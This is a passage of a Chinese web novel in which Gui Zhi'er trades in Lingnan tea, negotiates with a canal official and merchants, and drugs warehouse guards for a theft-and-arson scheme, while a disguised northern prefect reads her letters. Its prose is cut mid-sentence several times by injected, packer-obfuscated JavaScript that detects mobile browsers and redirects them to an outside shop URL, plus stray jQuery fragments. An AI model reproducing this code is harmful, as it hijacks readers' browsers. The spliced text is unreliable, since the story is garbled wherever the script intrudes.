能在这么短的时间内，将混凝土技术研究出眉目，她相信刘善渊是聪明人。 跟聪明人打交道，一点就透。 于是她将修筑人防工事、挖地道备战等举措，一股脑地抛了出来。 虽有拾人牙慧之嫌，但在大梁，仍是头一份。 “好为人师是病，得治啊。”桂枝儿不由感慨，自己当夫子当出了职业病。 至于土地和人头税，她没什么新想法。 囿于时代局限，能有以民为本的心思，就很不容易了。 难的是政策执行与落实。 在这方面，相信在官场浸润许久的老油条，比她更内行。 最后，桂枝儿咬住手中笔杆，苦丧着脸。 “是否要拍几句知府大人的马屁，或者说几句体己话？”她神色扭捏。 通篇冷冰冰的教诲，似乎有些不近人情。 最终，桂枝儿还是象征性地补了一句。 “早春乍暖还寒，大人注意保暖。” 写完她就后悔了。 搁笔一拍脑门儿，只觉自己愚不可及。 “先批驳，再指点，最后关心两句。”她摇摇头，“倒像是老子给儿子的家书。” 复又提笔划掉这一句，避免画蛇添足。 桂枝儿封好了信，这才喊驼衣侍从过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720165|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “我多嘴问一句，沿途还能帮忙给别人带信吗？” “小娘子尽管吩咐。”驼衣侍从恭敬行礼。 “那太好啦，劳烦诸位再稍等片刻。”桂枝儿笑语盈盈，双眸明亮如星。 她下笔如飞，唰唰唰就是好几页纸。 一切安排妥当后，桂枝儿带着柳千金直奔最近的汇通钱庄。 入得庄内，堂厅宽敞洁净。 地面铺清花石板，红木柜台高及人腰，纹理细致，绝非等闲货色。 柜后的伙计们是清一色的藏蓝长袍，头戴瓜皮小帽。 “噼里啪啦。”他们手指灵活地拨弄着算珠，有条不紊。 “小娘子是验钞，还是存银？”接待伙计笑脸相迎。 桂枝儿摸出一串挂坠。 古旧的金币雕刻着编号和图案，内里镶嵌小块翡翠，绿意葱茏。 伙计一瞬间睁大了眼。 “您稍等，小的去请掌柜的。”伙计微微躬身。 片刻后，一袭深灰色长袍的掌柜趋行而至。 与桂枝儿见过礼，他验查金币编码，带她一人前往地库。 “小娘子有暗语吗？”掌柜目光锐利。 “卤肉拌饭与毛豆丝瓜汤。”桂枝儿语带尴尬，按栾霜柏临行前的交代对答。 掌柜拧动钥匙，金库大门轰然打开。 墙壁由巨大灰色石块砌成，坚固且严丝合缝，每隔一段距离，镶嵌一盏油灯。 油灯火苗摇曳，洒下昏黄而柔和的光，照亮了摆在中央的木箱，里面是堆叠的金锭和银锭。 恍若“金币灰黄”。 桂枝儿仅想看看，小将军给她开的户头上，有多少余额。 没想到，得到了一个颇为震撼的数字。 “这哪里是做点小本生意。”桂枝儿啼笑皆非，“恐怕把杭京的一条街买下来都够吧。” 不过用不着等到进京。 适才听到行商与小谢公子议论，她联想到在莱城制的珍珠奶茶，心中灵机一动。 岭南的头春茶，清香醇、叶底嫩。 常人只知泡茶品茗，却不知茶叶同样是上好的食材。 茶熏鸡、龙井虾仁、茶香排骨…… 桂枝儿咽了咽口水。 47. 漕运使者 翌日晚间，桂枝儿前往白鹭洲。 这是一个卧于湖心的小岛，大红灯笼高悬。 自上了画船开始，便欢歌笑语不断，琵琶二胡弹出淫词艳调。 纸醉金迷中暗藏颇多龌龊。 “有几个小舱室的门锁着，我听音儿，像是在做皮肉生意。”柳千金找到在甲板上透气的桂枝儿。 “官府能管瓦舍，却管不了游船。”桂枝儿答道。 勾栏瓦舍是登记备案的场所，明面上自然要遵大梁律令。 但船在水上飘，灵活机动，往往不受制约。 “那么，船归谁管？”柳千金好奇问道。 “船帮。” 船为家、水为路。 他们以船把头为首，穿梭在各个港口，沟通贸易往来。 不论是水上客运，还是粮食、木材等大宗运输，都少不了船帮的影子。 许是年景不好，连船帮都开始沾手烟花勾当了。 繁华之下，肉''体生蛆。 船近岛岸，水手们忙碌起来，抛出粗壮的缆绳。 缆绳飞向岸边，由码头上的力役接住，紧紧地系在木桩上。再用力拉扯，使船靠岸。 “好生麻烦，咱们走捷径吧。” 桂枝儿伸手揽住柳千金，足尖轻点，如步步生莲，十分轻盈地飘落岸边。 一抬头，便对上了阁楼窗边谢鸢的眼神。 几分惊叹与艳羡。 小谢公子今日依旧盛装打扮。 一袭湖蓝色长袍，发髻上的花翘轻颤，簪钗的坠饰轻摇。粗看偏柔媚，细看别有韵味。 十字海棠纹的窗，半掩着。 他单站在那里，就是四时风景，光影变幻。 “姑娘还会轻功？” 果然，桂枝儿一进门，谢鸢连口气都热切了几分。 “就是水上漂，靠内功提气滑行，也能捎带个人。”桂枝儿有些不好意思地解释道。 轻功亦有飞檐走壁，或踏雪无痕之分。 她的水准显然是极高的。 但在完全不会武功的小谢公子面前，她却有些羞怯。 生怕夸大了自己本领引起误解。 毕竟，美人儿钦佩的眼神，不是一般人能承受住的。 “难怪女侠敢仗义执言，原来是行走江湖，有功夫傍身。”谢鸢笑道。 他提起水壶，滚烫的热水倾泻而下，茶叶随之翻滚、舞动。 “先润口嗓子，在侧室稍歇。”谢鸢眸中满是歉意，“赶巧约了漕运使大人，需得应酬几句。” 桂枝儿略感惊诧。 漕运使大小也是个六品官。 无论是征调民船、疏浚运河，还是修举漕政，都有着指挥权。 看来小谢公子确实交际颇广。 谢鸢似是猜到了她心中所想，莞尔一笑。 “说书人的故事三分真、七分假，慢慢的也就以讹传讹了。”他的声音如清泉流淌。 “奉旨卖艺——实则是，捡个乐府令的芝麻官，外派到楚怀一带采风作诗，编绘山河图景。” 桂枝儿这才恍然大悟。 乐府采集各地的民歌民谣，用于宫廷演奏。 给小谢探花封个乐府令的官职，明面上是欣赏他的才华，倒也说得过去。 不愧是狗皇帝。 “明褒暗贬。”桂枝儿言简意赅地总结道。 遇到如此心直口快之人，谢鸢唇角上扬，笑得眉眼弯弯。 同僚之间，应酬便是常态。 桂枝儿来到侧室等待，柳千金见岛上繁华，也自去见世面了。 不消片刻，漕运使大人到。 桂枝儿只隐约瞥见，这是一位头发花白的老者。 他伛偻身躯，脚步轻缓谨慎，环顾四周，活像是在偷偷摸摸做什么不法勾当。 “哎呦我说小谢公子，约在哪里不好，非要来你这白鹭洲。”漕运使长舒一口气。 “老朽年迈，受不得刺激，若被家里的母老虎知道敢来这风月地……” “此处谈话方便些，还望大人多担待。”谢鸢抬手斟茶。那手指骨节分明，似白玉雕琢而成。 “岭南的头春茶，您尝尝。” 他微微垂首，神情温柔专注。 手腕轻转，茶水便一滴不落地浸入琉璃斗笠杯。 两人已合作多次，谢鸢也不拐弯抹角，开门见山点出今日要询问之事。 “勿劳公子。”漕运使连连推拒，解释道，“老朽近来夜不能寐、辗转反侧。郎中特意嘱咐，不可饮茶。” 大约猜到谢鸢又想多管闲事。 漕运使干脆反客为主。 “老朽倒有一事，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724903|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜托公子帮忙。”漕运使眼珠子一转，捋须道，“咱们楚淮的水石天下闻名，恰巧近日又搜罗了不少通灵剔透的好黄石、青黑石。” 说到此处，老人不由长吁短叹，愁绪满容。 “只是那船把头推三阻四，不愿意护送。”他嘴唇轻颤，欲言又止。 浑浊的眼眸里满是期盼。 水石，是在楚淮河湖中，经过水波侵蚀，自然形成的。 石头纹理起伏跌宕，孔洞繁多，气韵便可生动流转。有的形态清瘦、刚直，有的通透豁然。 最适宜用来点缀皇家园林。 但替官府送贡品，往往是吃力不讨好的差事。 也难怪船把头一个劲儿地推拒。 漕运使此招，就是先发制人，想找个难题让谢鸢办。 若不成，他自然没脸为行商说情。 “大人勿怪我直言。”谢鸢嘴角含笑。 他缓缓站起身，不卑不亢地驳斥道：“贡奉奇石，靡费甚巨。民之脂膏，尽为所耗。” “何必为悦上之私，而劳民伤财？” 怎料谢鸢不按常理出牌。 漕运使的事，他非但不想办，还硬要添点阻力。 “大人莫畏圣上之责。”谢鸢又添了一把火，“家父在户部和内务府都有熟人，定为大人据理力争。” “不可，不可！此事断不可为。”漕运使大惊，吓得连连摆手。 他猛然站起，原本微驼的背，此刻竟挺直几分。 枯瘦之躯，如获神力。 看着漕运使大人惊慌失措的模样，谢鸢表面波澜不惊，其实心底暗暗好笑。 家父交游甚广，但跟他这个不孝子没有任何关系。 随口胡诌，都是蒙人的。 “公子适才说，在户部和内务府……”漕运使趋近两步，心思活络地试探问道。 隔窗静听的桂枝儿，此刻也悄然无声露出一抹笑意。 朝堂的关系网，错综复杂，不可不察。 这个小谢公子，是把官员们的心理都摸透了。 只要一提京城，亮出自己有人脉关系，大部分蝇营狗苟之辈都会打怵。 既怕对方借机伤己之利，又希冀对方的关系能为己所用。 如此患得患失，被拿捏得死死的。 漕运使大人，也不例外。 48. 铝盒盒饭 如桂枝儿所料。 漕运使大人根本没撑几个回合，就交代了老底。 原来，牙人本是买家与卖家之间居中斡旋的人，通市情、晓货值，事成后依例抽取佣金。 这样一来，三方都有的赚。 但楚淮的苏记牙行不一样。 他们背靠官府，牙行老板的小舅子还是仓曹使，负责管理地方上的仓储事务。 说难听点，就是官商勾结。 “囤积货物，一来是为多赚点仓库租金。”漕运使神秘兮兮地竖起两根手指，“二来，我听说这批春茶的成色很好。” 他老神在在，对官场潜规则了如指掌。 头春茶用来给各路上官送礼，既金贵又有品味。 待春闱的大榜一张贴，各地方官的年度政绩考核就画上了句号。 此时不抓紧送，更待何时？ 他仓曹使要拿应季茶叶走人情，我漕运使也要靠顶级石头升一升。 官场嘛，就是这样。 不跑不送，原地不动，又跑又送，提拔重用。 “如此看来，形式上左右掣肘。那些行商，想尽快拿回货是不可能的了？”谢鸢瞬间领会了其中门道。 头发花白的老者微微颔首，表示赞同。 见状，谢鸢一时也有些为难。 行商与牙行既已撕破了脸，俱都气愤不过。商人们从船帮找到会馆，决议要联起手来斗上一斗。 看来此事难以善了。 “咳咳，说到这贡品，小谢公子有所不知。”漕运使清了清嗓子，觑了一眼谢鸢的脸色。 “南林盛产鲥鱼，从湖里捞起来到宫中的宴席上，二百公里路，必须当日送达。” 他垂首抚膺，做痛心疾首状。 运送者点灯悬骑，快马加鞭，中途不允许停下来吃饭。 晚了，可是要掉脑袋的。 “这才叫劳民伤财。”漕运使满脸的沧桑与忧虑。 闻弦歌而知雅意。 “是啊。”谢鸢点点头。 “大人贡奉奇石，乃天地之灵秀，可为皇家园林增色。”他口风一转，“与此类媚上取巧者自然不同。” “就是就是！”确保谢鸢不会坏他好事，漕运使这才放下心来。 也不管什么郎中医嘱了，执起茶杯便饮一大口。 茶入腹中，甘冽之气使人烦忧皆忘，似乎明日就能得道升官。 “好茶！”老者喜滋滋地夸赞道。 送走漕运使大人，谢鸢只觉神思倦怠。 他以手轻揉太阳穴，泼墨般的发丝垂落，更添几分慵懒。 “公子可曾用过晚膳？”桂枝儿敲敲门，柔声问道。 谢鸢循声望去，但见桂枝儿身着素雅罗裙，亭亭而立。一双秋水明眸中，满是关切之意。 更稀奇的是，她手中有一个长方盒子。 盒子是淡淡的银灰色，边角处较为圆润，表层还有几道浅划痕。 朴素简洁，没有过多的装饰。 “这是何物？”谢鸢一时想不起来，桂枝儿是否带了东西上楼。 “盒饭。”桂枝儿脸颊染上一抹红晕，更添几分俏皮，“在灶台或烤炉上加热一下即可食用。” 忽悠小谢公子第一步，美食引诱。 柴枝燃起的火焰舔舐着铝饭盒的底部。 “滋啦滋啦。”热量传递，仿佛能听到其中食物渐渐苏醒的声音。 开盖！ 首先映入眼帘的，是铺在中央的手撕茶熏鸡。 这道菜用茉莉花茶、糖、米等多种配料熏制，鸡肉色泽金黄。谢鸢鼻尖抽动，闻到了浓郁的茶香。 饥饿来袭，他忍不住执箸夹了一块儿。 “这肉鲜嫩多汁，余韵悠长……”谢鸢睁大了眼睛。 茉莉花香在舌尖萦绕，淡雅清醇，顺着喉咙滑入腹中，他一时竟不知该怎么形容，连忙品尝其余的菜。 米饭软糯适中，既不黏糊也不生硬。 佐以北境传 () { $(''.inform'').remove(); $(''#content'').append('' 统的地三鲜。咬上一口，茄子入味，土豆绵软，青椒爽脆，搭配十分相宜。 谢鸢顾不上评价。 他进食的动作行云流水，绝无半分拖沓。 乍一看铝饭盒，他还觉粗糙简陋，又不忍拂桂枝儿的好意。 万万没想到，味道会如此惊艳。 最后一口，是清爽鲜美的龙井虾仁。 将新鲜虾仁与龙井茶一起烹制，虾仁晶莹剔透，龙井的清香亦渗入其中，如同一缕清风。 桂枝儿看到小谢公子光彩熠熠的眼神，难掩喜悦，就知此事已有五分把握。 “快问我吧，问问这些菜是怎么做的，都用了什么原料……”桂枝儿内心胜券在握。 她嘴角上扬，勾勒出一抹自信的微笑。 头春茶要是卖不出去，她可以批量收购嘛。 “姑娘。”谢鸢的目光深邃炽热，带着灼灼温度。 当一个美人全神贯注紧盯别人的时候，周围的一切便黯然失色。 他发上花翘轻颤，如蝴蝶扇翅，一颦一笑也愈发妩媚动人。 “这个饭盒，是如何制成的？”谢鸢问道。 “公子一定尝出来了，茶熏鸡和龙井虾仁都……”桂枝儿话说一半，戛然而止，“什么？饭盒！” 她朱唇微张，却再无半字吐出，满脸惊愕。 头一回有人，在尝过她的手艺后，反而问起餐具的事。 简直是买椟还珠！ 桂枝儿颇为不甘，满心疑惑悬于空中。 “颜色灰白，但不似银制。打磨如此之薄，足见工艺精巧。”谢鸢仔细观察道。 糟糕！ 桂枝儿险些一拍大腿。 她竟然忘了，铝这玩意，在生产力不发达的空间，是奢侈品啊。 它的性质极其活泼，难以提炼和保持稳定。所以虽在自然界蕴藏量极大，但直到电解铝技术的出现，才开始大批量生产。 桂枝儿搓了搓手，眼神躲闪，尽显心虚。 49. 真实身份 事已至此，桂枝儿一声轻叹。 “哎，这是小女的夫君入伍前留下的。”桂枝儿面露思念，委屈道，“也不知他现在何方。” 每当需要人背锅的时候，桂枝儿就不免想起，自己还是个有妇之夫。 夫君生死未卜，再问就不太礼貌了。 谢鸢怔住，一袭湖蓝色长袍依旧风姿优雅，表情却悄然凝固。 当桂枝儿详细阐述她对头春茶的兴趣时，柳千金也在白鹭洲岛闲逛。 楚淮河蜿蜒贯穿东西，沿途的湖心岛、河湾浅滩、口岸码头，均热闹繁华。 这里是中原地带首屈一指的销金窟，仅次于江南杭京。 别的不论，光是那烟笼寒水、绮靡浮华的景致，以及两岸一幢幢河房，就足以令人着迷了。 “列位看官请上楼，鱼龙曼延、入马腹舞，今晚有最好的天竺幻术！” 伴随着歌姬黄鹂般的揽客声，漂浮在空中的祥瑞大鱼，突然变成一条蜿蜒长龙。 “哗啦。”机关折叠，长龙腾云驾雾，点亮夜空。 柳千金屏住呼吸，被从未见过的奇幻表演深深震撼。 岛上瓦舍不论规模大小，俱都粉饰着雕栏画槛，点缀着珠帘琐窗。 在红灯笼的映照下，车水马龙不歇，人声鼎沸。 “要不跟桂小娘子商量一下，让奴家在楚淮多逗留一段时间。”柳千金暗自琢磨着。 比起跟桂枝儿去京城开店，独具一格的勾栏瓦舍和精彩绝伦的新奇表演更令她神往。 柳千金的手指在发尾绕了个圈。 “没想到真离了邀月楼，却又有些怀念。”她哂笑。 或许是撕毁了卖身契，就一并把不堪的过往遗忘了。 忘记饿肚子时的眼泪婆娑，忘记苦练下腰、踢腿和吊嗓子的艰辛，也忘记被揩油时遭遇的屈辱。 自我保护的本能，使得她留在脑海内的，仅有美好回忆。 花开数朵，各表一枝。 时下春雷乍动，惊醒了蛰虫。来自北境的书生举子们，纷纷忙于参加文社集会，以求扬名。 同时，桂枝儿前往白鹭洲的频次愈发密集。 而另一边，暗探加急递送的秘信，终于抵达镇北中心府城。 偏远的流放地此刻正雨雪翻飞，冰碴子砸向想冒头的春笋，也给屋外行人的面庞带来撕裂般痛楚。 苍灰色为主基调的府衙，尚且离不开炭火。 火苗跃动，发出轻微噼啪声。 男子褪下沾染雨雪的银鼠皮袄，交给身后寸步不离的管家。他忍住咳嗽，腰腹旧伤隐隐作痛。 早春的天气说变就变，风寒来得猝不及防。 知府大人抚了抚腰间吊坠，心下略安。 “刘老爷的家眷都安置妥当了？”他声音沙哑，额头有些发热。 “主子您放心。”大管家微微欠身，温声道，“以接家人来北境团圆的名目，把留在京城的夫人和孩子们都处理好了。” 男子点点头，不再多言。 风寒让他的思绪仿佛被一层雾气所笼罩，朦胧迷乱。年后公务繁忙，尤其是还要应对税费改革难题。 难有闲心考量杂事。 刘老爷的家眷，就属于无伤大雅的小事。 男子回想起，那位新任知府和路引上笔绘的一样，面圆无须，眼睛不大，一团和气。 大概如鹰隼般得小眼睛极易聚光，所以在楚淮客船上，他一眼就瞄准了不该看的人。 一个饱受厌弃的被贬官员，在流放途中，抓住了或许能让自己官复原职的惊天秘密，自然不肯放弃。 “那刘善渊想要告密，死得罪有应得。”管家奉上热茶，为主人驱寒暖身。 “您虽冒名替他上任了，家眷留在京城终究是个隐患，现在总算可以安心了。”话语背后透着一股狠厉。 男子盯着榉木书格上的菩提树摆件，不置可否。 书案上展开的舆图还未收起，仔细看，便能发现饱受厌弃的镇北府虽人口稀少，但却占了大梁国土面积接近四分之一。 只因苦寒落后，官员避之不及。 现今朝廷奸佞当道，且外有边境之患，内有朝野之争。与永靖年间的万民乐业， () { $(''.inform'').remove(); $(''#content'').append('' 截然不同。 倘若北境物产丰、民心齐，未必不能以一隅之地，抗衡上国。 “桂小娘子后院的陶土温室，可拆解明白了？”男子收回思绪，着眼现实问题。 他还记得，寒冬腊月曾尝过一碗毛豆丝瓜汤。 “已遣能工巧匠仿造数十座，只等待比验成果。”管家恭敬回道。 忽的又想起暗探递来秘信，急忙传唤。 千里奔袭的驼衣侍从俯身行礼，姿态谦卑地举起信件。 男子素手拆开信封，脸色由严肃转为柔和。 他反复读了几遍，仿佛想透过薄薄的纸张，看到远方人的面容。 “最后划掉的这句，写的是什么？”他语气不变，但管家一听便知暗藏欢愉。 “小娘子写信时避开了我等。”驼衣侍从补充道，“属下斗胆猜测，是关心主上的话语。” 男子白皙的指尖捏紧信笺，按出几分绯红。 他嘴唇轻扬，转瞬间笑意内敛，复归淡然姿态，仿佛方才从未笑过。 矜严消尽，只剩温柔。 管家在他身侧无奈地闭了闭眼。 “也许是骂您拦着她的进京路呢。”心里这样想着，嘴上却惧于主子威严，不敢吐露分毫。 果然，女子的魅力来自于男子的想象力。 “另外，小娘子还托我等给不少人带信。”驼衣侍从恭顺地陈述道，而后一一列出收信人姓名。 男子并不反驳，唯在听到其中有栾小将军时，言简意赅地吐出两个字：“扔掉！” 目似寒潭，声线冰冷。 管家闻言，脸上愁绪与滑稽交织。 看来凌河县那帮兵痞，偷偷称呼小将军夫人一事，主子着实在意。 但他仍旧不忘职责，提醒道：“主子，老奴还是担忧，咱们放任桂小娘子进京，会不会……” “她这么聪明，早晚会猜到我的身份。”男子轻笑，“既然到楚淮了，就让船帮留点破绽给她。” 看她得知真相后，是惶恐不安，还是装聋作哑。 男子饶有趣味地搁下信纸。 50. 寒舍有膳 桂枝儿尚且不知自己被人“算计”。 书生们每日只见先生频繁往返白鹭洲，至于先生的仆从，甚至从烟柳浦一路逛到桃花荡。 “木犀先生自有他的道理。”王蒲总结陈词。 无论如何，北境的风雪刮不到楚淮。 微微细雨天，粉嫩的杏花挂着晶莹水珠，绽放枝头。半开半合似少女娇羞，与雨丝缠绵起舞。 桂枝儿携带锦缎香包，去药店让伙计配些艾草、薄荷、丁香等驱邪避秽的药草。 伙计一边娴熟地放置戥盘称重，一边问道：“姑娘是送长辈还是送情郎？” “送朋友。”桂枝儿好笑地回答。 “您这绣工真细致，栩栩如生，一针一线都是心血啊！”伙计默认了是送情郎，妙语连珠。 桂枝儿顿觉好笑。 让她舞刀弄枪还可以，绣花针实在是摆弄不来。 不过伙计的夸赞是对她眼光的肯定，也不枉费她在市集上精挑细选，花费半贯铜钱了。 贿赂小谢公子第二步，赠之以礼。 虽然香包是买的，药草也是买的，但心是真诚的嘛。总不能，给小谢公子那等风雅人物送她自制的卤味调料。 “为了促成买卖，略施小惠还是值得的。”桂枝儿点点点头。 于是她擎着油纸伞，再登白鹭洲。 还未进门，就听见楼上吵得沸反盈天。 “你们公子有客人？”桂枝儿手腕轻转，将伞微微倾斜。合拢后，伞上水滴纷纷如银珠滚落。 “好像是一些行商，女侠里屋请。”小厮步履轻盈，在前引路。 踏上宽窄错落的台阶，桂枝儿便听到了激烈疾呼声。 “牙行之辈唯利是图，那心肝啊，一个个比墨汁都黑！平日里交易他们就从中作梗，这次，可真是把我等惹急了！” “对，不还吾公道，誓不罢休！” “船把头，谢公子，您二位说句公道话。牙行压住这批头春茶不准发货，却照旧向我们收取仓库租金。”领头的行商怒而痛骂。 “我等客商，多是小本经营，哪里经受得起颠簸。” “大不了，咱一把火把货烧了都不留给他们！”有中年人气急，眼睛红了一圈。 桂枝儿旁听半晌，总算明白了。 行商们并非不肯变通，人在屋檐下，不得不低头。 倘若能多出点银子了结，也就罢了。可连亲仆都被算计扔进灰房子，他们着实咽不下这口气。 “这不是欺负人吗？”桂枝儿敲了敲门，仗义执言。 众人一齐扭头。 但见说话女子身着红衣，宛如朝霞，足蹬长靴，尽显英姿飒爽。她鼻梁挺直，眉毛略粗，一双明眸义愤填膺。 没由来的，就对她有了些好感。 “这位是……”领头的行商疑惑道。 “桂女侠，她是性直之人，不喜阿谀奉承。”谢鸢起身笑道，“若说错了话，大家莫见怪。” “幸会幸会！女侠如此坦率，真性情也。”众行商连忙拱手作揖。 “见过诸位。”桂枝儿状似爽朗地与众人交际，眼神却在不经意间，瞥向贵宾席位男子。 他身形魁梧，面容坚毅。头戴竹篾与棕叶制成的斗笠，一身粗布短衫，脚蹬麻鞋，隐约还有些鱼腥味。 尤其是那双手，粗糙而有力，掌纹深刻。 似乎拉惯了纤绳，握惯了鱼叉。 “这位便是楚淮的船把头吧，久仰大名！”桂枝儿粲然一笑。 船把头默然颔首，姿态不疾不徐，自有一番气度。 “适才无意间听到了大家的控诉，我是气不打一处来。”桂枝儿继续道，“那些狗官污吏，但凡见到些许利益，便垂涎着要尝鼎一脔。” 待众人目光汇聚，桂枝儿握紧了拳。 “我有一计，望诸君纳之。” “哦，说来听听？”连沉稳的船把头也萌起兴味。 “我们江湖人，自有江湖的解决办法。”桂枝儿打抱不平，“不瞒诸位，我在小谢公子的楼里尝过这批头春茶，鲜、嫩、纯，实在是上等货。” 千穿万穿，马屁不穿。 见桂枝儿识货，众行商甚为称心。从岭南的山间小道，历经长途跋涉，再由舟行江上，一路坎坷，总算没白费。 现在就差临门一脚。 “干脆把货偷出来，再放把火烧掉罪证，反向牙行索要保管不当的赔偿。”桂枝儿 () { $(''.inform'').remove(); $(''#content'').append('' 语不惊人死不休。 “妙啊……不、不对，这大宗货物如此显眼，怎么偷，怎么运？”领头的行商话到嘴边又改口。 他双目如铜铃般圆睁，满是惊愕之色。 但还真别说，这法子虽然缺德，可十分解气啊！ 众行商面含期待，只等桂枝儿详细解释。 “苏记牙行的货仓在三号码头，仗着有个仓曹使小舅子。”桂枝儿娓娓道来，“管理反而十分松懈，我去窥探过，夜间看守们都聚在帐篷里喝酒、赌骰子。” 她伸出手掌心，轻轻吹气。 “一瓶十香软筋散，就能轻松控制。” 桂枝儿回首看向船把头：“船帮在三号码头长期停泊摆渡船，抽出一两艘来接应茶叶，足够了。” 她食指弯曲，与大拇指并在一起。 “卖得利润，三七分账，三分作为给您的运费。” “四六分！不蒸馒头争口气，此事若是能成，我们折本也甘心。”领头的行商抢先答道。 “就是，就是，女侠此策绝佳。”其余人亦是连连点头。 月黑风高夜，正是杀人放火时。 桂枝儿知晓年景不好，船帮连皮肉生意都睁一只眼闭一只眼，这等稳赚不亏的买卖，能分一杯羹自然更好。 只要把证据抹干净，便万事大吉。 船把头眼睛微微眯起，露出一口洁白整齐的牙，在黝黑肤色映衬下，格外醒目。 他抬手问道：“主意不错，但还有个问题。” “不经牙行做担保，谁能一口气吃下这批货？” 一撮头春茶，少说也值白银一两。 “远在天边，近在眼前。”桂枝儿不紧不慢地回道，“在下说过，这批头春茶，实在是上等货。” “我愿以市贾价全盘收入囊中。” 众人愣住，一时想不明白，行走江湖的女侠与茶叶有什么联系。 倾听良久的谢鸢见时机已到，推开十字海棠纹的窗。 白鹭洲上，天色尚未放晴，春雨依旧淅沥滴答，叫卖杏花的声音遥遥传来。 “将近午时了，寒舍有膳，诸位且留下共饮一杯吧。”他含笑道，“桂女侠可否再添一道茶香排骨？” 51. 茶香排骨 小楼的餐食简朴风雅。 白米饭颗颗分明，散发着稻香。先上桌的是凉菜，一道雪映丹霞，指的是白糖拌西红柿。 香菇菜心叶片饱满，一褐一绿，不仅色泽素净而且口味清淡。 当中摆了碗金钩挂玉盘。 名字起的好听，其实也不过就是黄豆芽煮豆腐，好歹算个热汤。 “多谢公子款待，我们这一谈竟忘了时辰，现下腹中确实有些饥饿难耐。”领头的行商肚子正咕噜叫。 “女侠何不一起用餐？”另一人点头附和。 虽然菜色素了些，但饿极了也就顾不上了。 “桂姑娘可是大厨，早就嘱咐我提前将排骨泡出血水，只等大展身手呢。”谢鸢笑道，“赶巧遇上诸位，让你们给截胡了。” “哦？”若不是礼数约束，众人已按捺不住想动筷子。 就当是吃素斋，也能填饱肚子。 倘若真如小谢公子所说，再添道菜，他们也就捧个场。不论好不好吃，都假装真心实意地夸几句。 毕竟，还指望桂女侠助他们一臂之力呢。 连连船把头也不信桂枝儿能有什么好手艺。 跑江湖的人，烤点野味还成，精细的三菜一汤却做不来。 “茶香排骨，让各位久等了！”桂枝儿亲自上菜。 一道风味佳肴，未见盘中餐，先闻到独特的香气。其中最猛烈的是浓郁醇厚的排骨肉香，然后是热腾腾的锅灶所带来的焦香。 “霍，女侠有两手啊！”众人惊叹。 排骨块经过糖炒上色，再浸入茶汤小火慢炖，最后出锅。浓稠的浇汁表层，是炸好的茶叶。 “这若撒的全是头春茶，也太奢侈了吧。”领头的行商震惊于桂枝儿的大手笔，心中作痛。 仿佛自己一块排骨吃下去，就耗费半贯铜钱。 但他仍不自觉地被吸引，舔舐了下嘴唇。 咬一口肉，舌头最先感觉到酥脆的外皮，紧接着是被汁水浸透的鲜嫩肉质。 茶叶的清淡香气，若有若无地萦绕鼻尖。 咀嚼时，茶香逐渐晕染，中和了排骨的油腻感。领头的行商顾不上风度，猛塞一口大米饭。 “好，好吃。”在心里打好草稿的夸奖语一句也说不上。 这茶用的也太值了！ 最直观的表现，便是食案上的你争我抢、箸影交错。 “老弟高抬贵手，给我留一块。”一人如饿虎扑食，急而取之。 “李兄不如尝尝这香菇菜心，膳以荤素搭配为至善嘛。”另一人轻巧抢先，夺得排骨。 无论白米饭还是糙米饭，只要有这道茶香排骨的加持，都能让人吃得有滋有味，一碗连着一碗。 桂枝儿与谢鸢对视一眼，尽在不言中。 一顿便饭，宾主尽欢。 众人索性直接敲定行动时间，紧锣密鼓地分头去做准备。 离开前，桂枝儿伸手入怀。 “差点忘了，多谢公子搭台，让我唱这出戏。”她把装满药草的锦缎香包交到谢鸢手中。 没有小谢公子组局，她即使眼馋头春茶，也摸不到门路。 再者说，今天的午膳格外寡淡，完全是为了突出那道茶香排骨的诱人之处。 小谢公子，思虑当真周全。 谢鸢伫立窗边，看着桂枝儿一袭红衣在雨中远去的背影。背影婀娜，如红莲盛开，明艳而动人。 “些许小事，何足挂齿。”他嘴角微扬。 雨停的夜晚，凉意习习。 三号码头墨色昏暗，岸边连个鬼影都没有。 冷风过处，唯有绳索轻晃，河上空荡的小木船微摇，发出嘎吱声，增添了几分阴森。 唯一温暖的火源，在货仓的帐篷内。 “哥俩好啊！”“五魁首啊！”“满堂红啊！”看守们兴致高昂，推杯换盏间划拳声起。 逐渐面红耳赤，身形摇晃却不自知。 “头儿，等会儿还、还用俺出去溜达一圈不？”瘦猴子大着舌头问道。 “去个屁！”圆墩子照着他的脑袋就是一巴掌，“整个小码头，都被苏家包了，哪个不长眼的混球敢来惹事？” 白日里怕主家查岗，才不得不按规矩轮班看守。都到晚上了，巡逻哪有赌骰子带劲。 殊不知，一道黑影已经潜藏在帐篷外观察良久。 只见那黑影手持细管，动作敏捷地掀开一个边角。 “呼。”轻轻一吹，十香软筋散如烟似雾，悄无声息地飘入帐中。 “不行了，你们先玩，俺困了想眯一会儿。”瘦猴子目光惺忪地张嘴打哈欠。 没有人回应他。 帐篷内寂静无声，几名看守都陷入了沉睡。 “妥了，保证睡得像死猪一样。”黑影拉下面纱，赫然是桂枝儿。 系统兑换迷药，必属精品。 她对身后几人交代道：“你们先运 () { $(''.inform'').remove(); $(''#content'').append('' 货，水边绑了红丝带的船上有人接应。” 言毕，她再次潜行，一边放哨一边选择合适的放火点。 既要把头春茶存储地囊括在内，制造货毁茶亡的假象，又不至于影响太大，以免伤及无辜。 